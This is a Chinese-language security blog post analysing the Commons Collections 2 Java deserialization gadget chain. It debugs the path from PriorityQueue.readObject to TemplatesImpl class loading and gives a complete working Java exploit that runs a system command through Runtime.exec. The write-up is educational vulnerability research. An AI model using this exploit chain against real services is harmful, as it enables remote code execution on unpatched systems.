Commons Collections2分析

0X7e發表於2021-02-13

0x01、POC分析

//建立一個CtClass物件的容器
ClassPool classPool=ClassPool.getDefault();
//新增AbstractTranslet的搜尋路徑
classPool.appendClassPath(AbstractTranslet);
//建立一個新的public類
CtClass payload=classPool.makeClass("CC2");
//讓上面建立的類繼承AbstractTranslet
payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd.exe\");"); 

首先是通過getDefault建立一個CtClass物件的容器,然後appendClassPath()來新增新增AbstractTranslet的搜尋路徑;

然後建立一個public修飾的類,類名為CommonsCollection2;通過setSuperclass來設定父類;我們在想想看get()方法是幹嘛的?通過該文章javassist使用,可以知道是查詢AbstractTranslet

此處總結就是:設定父類為AbstractTranslet

然後建立一個靜態程式碼塊,靜態程式碼塊中設定內容為:

java.lang.Runtime.getRuntime().exec("calc");

第二部分

//反射建立TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射獲取templatesImpl的_bytecodes欄位
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true); 

///將templatesImpl上的_bytecodes欄位設定為runtime的byte陣列
field.set(templatesImpl,new byte[][]{bytes});

//反射獲取templatesImpl的_name欄位
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);  

//將templatesImpl上的_name欄位設定為test
field1.set(templatesImpl,"test");

然後通過反射建立,通過例項化呼叫了構造無參構造,然後newInstance()來例項化物件,通過反射獲取private修飾的_bytecodes屬性;獲取私有的時候需要使用暴力反射;

然後將反射獲取的_bytecodes變數賦值為bytes變數

bytespayload.toBytecode(),而payload是CommonsCollections2類的內容;將templatesImpl上的_bytecodes欄位設定為CC2類的的byte陣列;

然後再通過反射獲取到private修飾的_name變數,最後通過反射設定該變數的值為test

第三部分

InvokerTransformer transformer=new InvokerTransformer("newTransformer",
														new Class[]{},
														new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

而我們通過cc1知道,InvokerTransformer第⼀個引數是待執⾏的⽅法名第⼆個引數是這個函式的引數列表的引數型別第三個引數是傳給這個函式的引數列表接著獲取了 InvokerTransformer 例項物件.

所以這邊是去呼叫了newTransformer這個方法,後面再細講;然後TransformingComparatorcompare方法會去呼叫傳入引數的transform方法。

第四部分

//使用指定的初始容量建立一個 PriorityQueue,並根據其自然順序對元素進行排序。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);

Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue欄位
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

構造引數有三種,然後我們這是第二種,自定義容量大小;然後將指定的元素插入此優先順序佇列,預設是升序排列;

此處是實驗程式碼~~~,由於本人懶,就不單獨寫,直接修改一下下;

然後通過反射,去獲取comparator變數,並且最後在comparator變數設定值為comparator

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

最後步驟一樣,設定queue變數為Object陣列,內容為templatesImpl;最後就是輸出序列化流

那為什麼要新增兩個呢?這個稍後除錯的時候講解

0x02、poc除錯

這裡我先說明一下,因為我昨天去和朋友happy,和初中同學聚了一下還看了唐探3,給忘記了我寫了啥東西;所以poc分析就按照之前的廢稿寫進;然後這邊poc我是摘抄自nice一位師傅的;其次就是這邊除錯我會按照我的思路講; 接下來就進入正文了

這裡不知道上文分析的邏輯,也不想讀,就重新理解過程;這邊我們看看yso的利用鏈,這邊入口點是PriorityQueue.readObject();知道了路口點,那我們可以進去查詢下這個readObject()方法。

斷點下好後我們就可以開始debug了,因為前面部分都不是重點。

這邊有幾個步驟,首先是呼叫預設的 ObjectInputStream.defaultReadObject() 方法 ,把序列化的檔案進行 反序列化去讀取資料;然後呼叫 ObjectInputStream.readInt() 方法讀取優先順序佇列的長度。

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);

此處繼續檢查集合的容量和型別,然後迴圈讀取陣列 queue 的內容這裡與 PriorityQueue.writeObject() 方法對應 . 讀取 queue 陣列的內容

最後進入heapify()方法中,我們f7繼續跟進去看看

進去之後我們發現是呼叫了siftDown()方法;那這for判斷的是啥?

這時候就涉及到了exp中為何要新增兩個值到容器中

那麼我們看看for是怎麼判斷的?

通過此處,size知道為2,經過計算後為0,判斷i大於等於0的時候,執行程式碼的內容為0,滿足這條件;那我們無法判斷是否是此處的問題,我們可以修改exp試試

queue.add(1);
queue.add(1);

我們先將此處註釋掉一個

最後我們在debug到那一步去看看size的值是多少

這時候可以發現是size的值是1;如果還有什麼疑惑的話,沒事,下面我們會分析如何構造出這份exp;

那麼我們迴歸正文,我們繼續F7進入siftDown()方法看看

這個方法可以看到有兩個引數,第一個是整數型別的,也就是數字;第二個X是什麼?

X是:queue[i] = queue[0] = TemplatesImpl物件

然後再判斷comparator值不為空的時候為true;然而這個comparatorTransformingComparator型別的值,所以進入這個siftDownUsingComparator

我們繼續f7跟進siftDownUsingComparator方法裡面

然後一直f8到了此處,具體上面的我就不細講了。這邊呼叫了compare

注意:comparatorTransformingComparator型別的值,所以可以知道呼叫的是TransformingComparator類裡面的compare()方法噢

所以我們f7進去,檢視是不是跟我們的想法一致(讀者:這不屁話嗎,不一致就大結局了)

注意個問題,這邊兩個引數的內容都是TemplatesImpl的例項化物件。那this.transformer呢?

此處是InvokerTransformer型別的值,所以這邊呼叫的是InvokerTransformer裡的transform()方法;這就有點類似CC1裡面的了,繞到此處,使用反射進行rce;

image-20210213193527615

但是,這裡我們就要細節了,注意看上圖中的時時變數,

所以我們跟進去看看所謂的細節~~,既然呼叫了newTransformer方法,我們就進去看看這個方法。那這是哪個類的呢?

這裡型別是這個,也就是exp構造的型別,所以這個方法屬於這個類中的

TemplatesImpl.newTransformer() 方法主要用於獲取 TemplatesImpl 例項物件 , 後面可以使用此例項處理來自不同源的XML文件 , 並對其進行轉換等操作。其中會呼叫getTransletInstance方法。前面可是沒有條件判斷,意思就是必進的點

進入了getTransletInstance()方法中

方法用於生成 translet 例項物件 . 這個例項物件隨後會被封裝在 Transformer 例項物件中。

為什麼構造 Payload 時 _name 欄位不填充會利用失敗 ?

其實是因為 getTransletInstance() 方法會對 TemplatesImpl 物件的 _name 欄位有一步判斷 , 如果該屬性值為 null , 則直接返回 null;不為空的時候,才能進入下面的條件分支

接著程式碼會判斷 _class 欄位值是否為空 , 如果為空就會呼叫 defineTransletClasses() 方法 . 這裡 _class 欄位為空 , 因此我們跟進該方法。

該方法會對 _bytecodes 欄位進行解析 , 核心程式碼如下:

程式碼會通過 loader.defineClass() 方法將位元組碼陣列轉換成類的例項 。

而唯一的條件就是該類的父類為 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

然後一直到最後,defineTransletClasses()執行完後會跳回剛剛的地方

由於變數 _transletIndex 的值為 " 0 " , 因此 _class[_transletIndex] 實際上就是我們通過 JAVAssist 構造的惡意類 。

現在會對惡意類呼叫 newInstance() 方法 , 類會先被載入後再被例項化 .

類在載入時會呼叫靜態程式碼塊中的內容 . 因此服務端最終會進入 java.lang.Runtime.getRuntime().exec() 反射鏈 , 執行系統命令。

0x03、完整POC

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class exp {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CC2");
        payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 

        byte[] bytes=payload.toBytecode();//轉換為byte陣列

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

0x04、總結

可能有部分不好,因為分析一半出去玩,然後一回來寫,進入狀態有點不佳,但是應該很詳細了;而CC2鏈涉及到了兩個知識點: JAVAssist 與 PriorityQueu;所以學下這兩個知識點就差不多了

參考文章:

https://www.cnblogs.com/nice0e3/p/13860621.html

https://www.cnblogs.com/kuaile1314/p/14239789.html

https://www.cnblogs.com/0x7e/p/14246855.html

https://www.cnblogs.com/0x7e/p/14246623.html

相關文章